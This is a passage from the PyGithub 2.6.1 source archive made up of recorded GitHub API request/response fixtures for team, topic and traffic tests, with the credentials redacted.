v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"pull":true,"triage":false,"push":false,"maintain":false,"admin":false}} https DELETE api.github.com None /organizations/1234567/team/12345678/repos/BeaverSoftware/FatherBeaver {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4957'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 26 May 2012 21:12:38 GMT')] https GET api.github.com None /organizations/1234567/team/12345678/repos {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4956'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('date', 'Sat, 26 May 2012 21:12:39 GMT'), ('content-type', 'application/json; charset=utf-8')] [] https GET api.github.com None /organizations/1234567/team/12345678/repos/BeaverSoftware/FatherBeaver {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4955'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sat, 26 May 2012 21:12:39 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Team.testTeamMembership.txt0000644000175100001660000001413114756101563023406 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fcfa200b026b10e9a41dfc2bb1057b33"'), ('date', 'Sat, 26 May 2012 21:09:53 GMT'), ('content-type', 'application/json; charset=utf-8')] {"private_gists":5,"collaborators":0,"type":"User","disk_usage":17016,"hireable":false,"url":"https://api.github.com/users/jacquev6","plan":{"collaborators":1,"name":"micro","private_repos":5,"space":614400},"public_repos":11,"bio":"","total_private_repos":5,"company":"Criteo","blog":"http://vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","email":"vincent@vincent-jacques.net","owned_private_repos":5,"followers":13,"name":"Vincent Jacques","public_gists":3,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} https GET api.github.com None /organizations/1234567/team/12345678/members {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('date', 'Sat, 26 May 2012 21:09:54 GMT'), ('content-type', 'application/json; charset=utf-8')] [] https GET api.github.com None /organizations/1234567/team/12345678/members/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4972'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sat, 26 May 2012 21:09:54 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} https PUT api.github.com None /organizations/1234567/team/12345678/memberships/jacquev6 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"role": "member"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4949'), ('content-length', '151'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8856425cedbdf3075576e823f39fc3d6"'), ('date', 'Sat, 26 May 2012 21:14:46 GMT'), ('content-type', 'application/json; charset=utf-8')] [] https GET api.github.com None /organizations/1234567/team/12345678/members {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5c59999e9aff00a09d7aa96ad73d5ff2"'), ('date', 'Sat, 26 May 2012 21:09:56 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}] https GET api.github.com None /organizations/1234567/team/12345678/members/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4969'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 26 May 2012 21:09:56 GMT')] https GET api.github.com None /organizations/1234567/team/12345678/memberships/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 26 May 2012 21:09:55 GMT')] {"url":"https://api.github.com/orgs/BeaverSoftware/memberships/jacquev6","state":"active","role":"member","user":{"following_url":"https://api.github.com/users/jacquev6/following{/other_user}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://avatars0.githubusercontent.com/u/15225059?v=4","url":"https://api.github.com/users/jacquev6","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","html_url":"https://github.com/jacquev6","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","node_id":"MDQ6VXNlcjE1MjI1MDU5","repos_url":"https://api.github.com/users/jacquev6/repos","received_events_url":"https://api.github.com/users/jacquev6/received_events","gravatar_id":"","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","site_admin":false,"login":"jacquev6","type":"User","id":15225059,"followers_url":"https://api.github.com/users/jacquev6/followers","organizations_url":"https://api.github.com/users/jacquev6/orgs"},"organization":{"issues_url":"https://api.github.com/orgs/BeaverSoftware/issues","members_url":"https://api.github.com/orgs/BeaverSoftware/members{/member}","description":null,"public_members_url":"https://api.github.com/orgs/BeaverSoftware/public_members{/member}","url":"https://api.github.com/orgs/BeaverSoftware","events_url":"https://api.github.com/orgs/BeaverSoftware/events","avatar_url":"https://avatars0.githubusercontent.com/u/1553906?v=4","node_id":"MDEyOk9yZ2FuaXphdGlvbjE1NTM5MDY=","repos_url":"https://api.github.com/orgs/BeaverSoftware/repos","login":"BeaverSoftware","id":1553906,"hooks_url":"https://api.github.com/orgs/BeaverSoftware/hooks"},"organization_url":"https://api.github.com/orgs/BeaverSoftware"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Team.testUpdateTeamRepository.txt0000644000175100001660000000623314756101563024641 0ustar00runnerdockerhttps GET api.github.com None /repos/BeaverSoftware/FatherBeaver {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('Date', 'Thu, 07 May 2020 12:39:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4971'), ('X-RateLimit-Reset', '1588858091'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"d0c102425dbcce281d1fec14c70d888d"'), ('Last-Modified', 'Thu, 07 May 2020 12:25:17 GMT'), ('X-OAuth-Scopes', 'admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip')] {"name":"FatherBeaver","full_name":"BeaverSoftware/FatherBeaver","private":false,"visibility":"public","owner":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"html_url":"https://github.com/BeaverSoftware/FatherBeaver","description":"","fork":false,"url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","created_at":"2012-02-09T19:32:21Z","updated_at":"2012-02-16T21:51:15Z","svn_url":"https://github.com/BeaverSoftware/FatherBeaver","git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","homepage":"","size":0,"mirror_url":null,"has_downloads":true,"watchers":2,"permissions":{"pull":true,"admin":true,"push":true},"has_wiki":true,"has_issues":true,"forks":1,"open_issues":0,"language":null,"pushed_at":null,"id":3400397,"organization":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031}} https PUT api.github.com None /orgs/BeaverSoftware/teams/team-slug/repos/BeaverSoftware/FatherBeaver {"Authorization": "Basic login_and_password_removed", "Content-Type": "application/json", "User-Agent": "PyGithub/Python"} {"permission": "admin"} 204 [] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Topic.setUp.txt0000644000175100001660000003137614756101563021106 0ustar00runnerdockerhttps GET api.github.com None /search/topics?q=python {'Accept': 'application/vnd.github.mercy-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 07 Jan 2025 09:56:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'no-cache'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.mercy-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '30'), ('X-RateLimit-Remaining', '29'), ('X-RateLimit-Reset', '1736243824'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'search'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'ACD6:3DA53A:178CF39:1833803:677CFA34')] {"total_count":7719,"incomplete_results":false,"items":[{"name":"python","display_name":"Python","short_description":"Python is a dynamically typed programming language.","description":"Python is a dynamically-typed garbage-collected programming language developed by Guido van Rossum in the late 80s to replace ABC. Much like the programming language Ruby, Python was designed to be easily read by programmers. Because of its large following and many libraries, Python can be implemented and used to do anything from webpages to scientific research.","created_by":"Guido van Rossum","released":"February 20, 1991","created_at":"2016-12-07T00:07:02Z","updated_at":"2025-01-07T09:22:52Z","featured":true,"curated":true,"score":1.0},{"name":"django","display_name":"Django","short_description":"Django is a web application framework for Python.","description":"Django is a web application framework for Python. It is designed to prioritize principles of reusability and rapid development.","created_by":"Adrian Holovaty, Simon Willison","released":"21 July 2005","created_at":"2017-01-31T20:40:48Z","updated_at":"2025-01-07T06:58:09Z","featured":true,"curated":true,"score":1.0},{"name":"hacktoberfest","display_name":"Hacktoberfest","short_description":"Hacktoberfest is a month-long celebration of open source projects, their maintainers, and the entire community of contributors.","description":"**Hacktoberfest** is a month-long celebration of open source projects, their maintainers, and the entire community of contributors. Each October, open source maintainers give new contributors extra attention as they guide developers through their first pull requests on GitHub.\n\n# By programming language\n[JavaScript](https://github.com/topics/hacktoberfest?l=javascript) • [Python](https://github.com/topics/hacktoberfest?l=python) • [Java](https://github.com/topics/hacktoberfest?l=java)","created_by":"DigitalOcean and GitHub","released":"October 2014","created_at":"2017-02-02T18:01:06Z","updated_at":"2025-01-07T07:52:01Z","featured":true,"curated":true,"score":1.0},{"name":"flask","display_name":"Flask","short_description":"Flask is a web framework for Python based on the Werkzeug toolkit.","description":"Flask is a web framework for Python, based on the Werkzeug toolkit.","created_by":"Armin Ronacher","released":"April 1, 2010","created_at":"2016-12-25T23:31:26Z","updated_at":"2025-01-07T07:51:46Z","featured":true,"curated":true,"score":1.0},{"name":"python-script","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-01-31T22:02:14Z","updated_at":"2025-01-02T08:34:59Z","featured":false,"curated":false,"score":1.0},{"name":"opencv-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-03T23:16:55Z","updated_at":"2024-12-18T13:40:07Z","featured":false,"curated":false,"score":1.0},{"name":"numpy","display_name":"NumPy","short_description":"The fundamental package for scientific computing with Python.","description":"NumPy is an open source library for the Python programming language, adding support for large, multidimensional arrays, and matrices, along with a large collection of high-level mathematical functions to operate on these arrays.","created_by":"Travis Oliphant","released":null,"created_at":"2017-01-31T21:42:40Z","updated_at":"2024-12-26T15:36:11Z","featured":false,"curated":true,"score":1.0},{"name":"backend","display_name":"Back end","short_description":"Back end is the programming that handles the behind-the-scenes of a website or application that people do not see.","description":"Back end is the programming that handles the behind-the-scenes of a website or application that people do not see, such as the server and database. Programming languages such as Python, Ruby, and PHP is used for back-end development.","created_by":null,"released":null,"created_at":"2017-01-31T21:30:13Z","updated_at":"2024-12-25T02:30:37Z","featured":false,"curated":true,"score":1.0},{"name":"fastapi","display_name":"FastAPI","short_description":"FastAPI is a modern & fast web framework for building APIs with Python 3.7+ based on standard Python type hints.","description":"FastAPI is a high performance, easy to learn, fast to code, and ready for production Python 3.7+ framework. Its performance is on par with NodeJS and Go (thanks to Starlette and Pydantic). It's intuitive and standards-based (based on API standards like OpenAPI (previously known as Swagger) and JSON Schema).","created_by":"Sebastián Ramírez","released":null,"created_at":"2018-12-23T13:21:08Z","updated_at":"2025-01-06T04:26:47Z","featured":false,"curated":true,"score":1.0},{"name":"ruby","display_name":"Ruby","short_description":"Ruby is a scripting language designed for simplified object-oriented programming.","description":"Ruby was developed by Yukihiro \"Matz\" Matsumoto in 1995 with the intent of having an easily readable programming language. It is used by the Rails framework to create dynamic web-applications. Ruby's syntax is similar to that of Perl and Python.","created_by":"Yukihiro Matsumoto","released":"December 21, 1995","created_at":"2016-11-28T22:03:59Z","updated_at":"2025-01-07T06:58:09Z","featured":true,"curated":true,"score":1.0},{"name":"python-library","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-01-31T21:48:51Z","updated_at":"2024-12-27T12:56:04Z","featured":false,"curated":false,"score":1.0},{"name":"keras","display_name":"Keras","short_description":"Keras is an open source neural network library written in Python.","description":"Keras is an open source, cross platform, and user friendly neural network library written in Python. It is capable of running on top of TensorFlow, Microsoft Cognitive Toolkit, R, Theano, and PlaidML.","created_by":"François Chollet","released":"March 27, 2015","created_at":"2017-01-31T21:58:47Z","updated_at":"2024-12-26T15:33:16Z","featured":false,"curated":true,"score":1.0},{"name":"selenium-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-06-26T19:02:26Z","updated_at":"2024-10-07T17:06:27Z","featured":false,"curated":false,"score":1.0},{"name":"tkinter-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-12-03T11:05:03Z","updated_at":"2024-12-16T23:44:09Z","featured":false,"curated":false,"score":1.0},{"name":"scikit-learn","display_name":"scikit-learn","short_description":"scikit-learn is a Python module for machine learning.","description":"scikit-learn is a widely-used Python module for classic machine learning. It is built on top of SciPy.","created_by":"David Cournapeau","released":"January 05, 2010","created_at":"2017-01-31T21:47:19Z","updated_at":"2025-01-07T07:06:50Z","featured":true,"curated":true,"score":1.0},{"name":"pandas-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2018-03-04T19:26:13Z","updated_at":"2025-01-04T07:55:58Z","featured":false,"curated":false,"score":1.0},{"name":"streamlit","display_name":"Streamlit","short_description":"Streamlit is an open source Python library that makes it easy to create custom web apps for machine learning and data science.","description":"Streamlit is an open source Python library that makes it easy to create and share beautiful, custom web apps for machine learning and data science.\nTurn your data scripts into shareable web apps in minutes, without requiring any front-end web experience.","created_by":"Adrien Treuille, Amanda Kelly, Thiago Teixeira","released":"March 27, 2018","created_at":"2019-10-02T23:15:16Z","updated_at":"2024-12-26T15:38:18Z","featured":false,"curated":true,"score":1.0},{"name":"leetcode-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-23T02:45:43Z","updated_at":"2024-04-10T15:11:20Z","featured":false,"curated":false,"score":1.0},{"name":"python36","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-01T23:01:53Z","updated_at":"2024-10-03T20:04:08Z","featured":false,"curated":false,"score":1.0},{"name":"machinelearning-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2018-04-05T05:04:13Z","updated_at":"2024-11-20T17:45:14Z","featured":false,"curated":false,"score":1.0},{"name":"nltk-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2018-04-20T22:48:27Z","updated_at":"2023-09-25T18:14:47Z","featured":false,"curated":false,"score":1.0},{"name":"data-analysis-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2018-01-20T23:05:42Z","updated_at":"2024-08-17T11:30:21Z","featured":false,"curated":false,"score":1.0},{"name":"micropython","display_name":"MicroPython","short_description":"MicroPython is a lean and efficient implementation of Python, optimised to run on microcontrollers.","description":"MicroPython is an implementation of the Python 3 programming language. It includes a small subset of the Python standard library and is optimised to run on microcontrollers and in constrained environments.","created_by":"Damien P. George","released":"May 3, 2014","created_at":"2017-01-31T21:34:11Z","updated_at":"2025-01-02T16:46:02Z","featured":false,"curated":true,"score":1.0},{"name":"python37","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-09-23T08:49:36Z","updated_at":"2023-10-07T10:16:06Z","featured":false,"curated":false,"score":1.0},{"name":"langchain-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2023-04-01T20:25:28Z","updated_at":"2024-08-24T14:56:36Z","featured":false,"curated":false,"score":1.0},{"name":"learning-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-01-31T21:48:06Z","updated_at":"2025-01-04T19:26:41Z","featured":false,"curated":false,"score":1.0},{"name":"oops-in-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-08-01T06:51:13Z","updated_at":"2023-03-26T15:35:53Z","featured":false,"curated":false,"score":1.0},{"name":"python-telegram-bot","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-01T10:35:51Z","updated_at":"2024-09-14T08:15:36Z","featured":false,"curated":false,"score":1.0},{"name":"python-package","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-08T20:03:49Z","updated_at":"2024-08-23T07:14:43Z","featured":false,"curated":false,"score":1.0},{"name":"python-project","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-05-14T15:33:04Z","updated_at":"2025-01-07T08:28:45Z","featured":false,"curated":false,"score":1.0}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Traffic.setUp.txt0000644000175100001660000004516014756101563021402 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 02 Dec 2018 18:37:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1543779296'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"b4c424454d0be9377d38527af8f2c87b"'), ('Last-Modified', 'Mon, 19 Nov 2018 17:29:23 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F7B6:56B4:121702B:263CA83:5C042677')] {"login":"jkufro","id":24628687,"node_id":"MDQ6VXNlcjI0NjI4Njg3","avatar_url":"https://avatars2.githubusercontent.com/u/24628687?v=4","gravatar_id":"","url":"https://api.github.com/users/jkufro","html_url":"https://github.com/jkufro","followers_url":"https://api.github.com/users/jkufro/followers","following_url":"https://api.github.com/users/jkufro/following{/other_user}","gists_url":"https://api.github.com/users/jkufro/gists{/gist_id}","starred_url":"https://api.github.com/users/jkufro/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jkufro/subscriptions","organizations_url":"https://api.github.com/users/jkufro/orgs","repos_url":"https://api.github.com/users/jkufro/repos","events_url":"https://api.github.com/users/jkufro/events{/privacy}","received_events_url":"https://api.github.com/users/jkufro/received_events","type":"User","site_admin":false,"name":"Justin Kufro","company":null,"blog":"justinkufro.com","location":null,"email":null,"hireable":null,"bio":"I'm an Information Systems student at Carnegie Mellon University","public_repos":7,"public_gists":0,"followers":0,"following":0,"created_at":"2016-12-18T00:04:35Z","updated_at":"2018-11-19T17:29:23Z","private_gists":0,"total_private_repos":5,"owned_private_repos":5,"disk_usage":3674,"collaborators":2,"two_factor_authentication":false,"plan":{"name":"developer","space":976562499,"collaborators":0,"private_repos":9999}} https GET api.github.com None /repos/jkufro/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 02 Dec 2018 18:37:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1543779296'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"f9e6d36183888f8f7004d148eb3ac044"'), ('Last-Modified', 'Tue, 27 Nov 2018 19:00:14 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F7B7:56B4:1217044:263CACA:5C042677')] {"id":159384744,"node_id":"MDEwOlJlcG9zaXRvcnkxNTkzODQ3NDQ=","name":"PyGithub","full_name":"jkufro/PyGithub","private":false,"owner":{"login":"jkufro","id":24628687,"node_id":"MDQ6VXNlcjI0NjI4Njg3","avatar_url":"https://avatars2.githubusercontent.com/u/24628687?v=4","gravatar_id":"","url":"https://api.github.com/users/jkufro","html_url":"https://github.com/jkufro","followers_url":"https://api.github.com/users/jkufro/followers","following_url":"https://api.github.com/users/jkufro/following{/other_user}","gists_url":"https://api.github.com/users/jkufro/gists{/gist_id}","starred_url":"https://api.github.com/users/jkufro/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jkufro/subscriptions","organizations_url":"https://api.github.com/users/jkufro/orgs","repos_url":"https://api.github.com/users/jkufro/repos","events_url":"https://api.github.com/users/jkufro/events{/privacy}","received_events_url":"https://api.github.com/users/jkufro/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jkufro/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/jkufro/PyGithub","forks_url":"https://api.github.com/repos/jkufro/PyGithub/forks","keys_url":"https://api.github.com/repos/jkufro/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jkufro/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jkufro/PyGithub/teams","hooks_url":"https://api.github.com/repos/jkufro/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jkufro/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jkufro/PyGithub/events","assignees_url":"https://api.github.com/repos/jkufro/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jkufro/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jkufro/PyGithub/tags","blobs_url":"https://api.github.com/repos/jkufro/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jkufro/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jkufro/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jkufro/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jkufro/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jkufro/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jkufro/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jkufro/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jkufro/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jkufro/PyGithub/subscription","commits_url":"https://api.github.com/repos/jkufro/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jkufro/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jkufro/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jkufro/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/jkufro/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jkufro/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jkufro/PyGithub/merges","archive_url":"https://api.github.com/repos/jkufro/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jkufro/PyGithub/downloads","issues_url":"https://api.github.com/repos/jk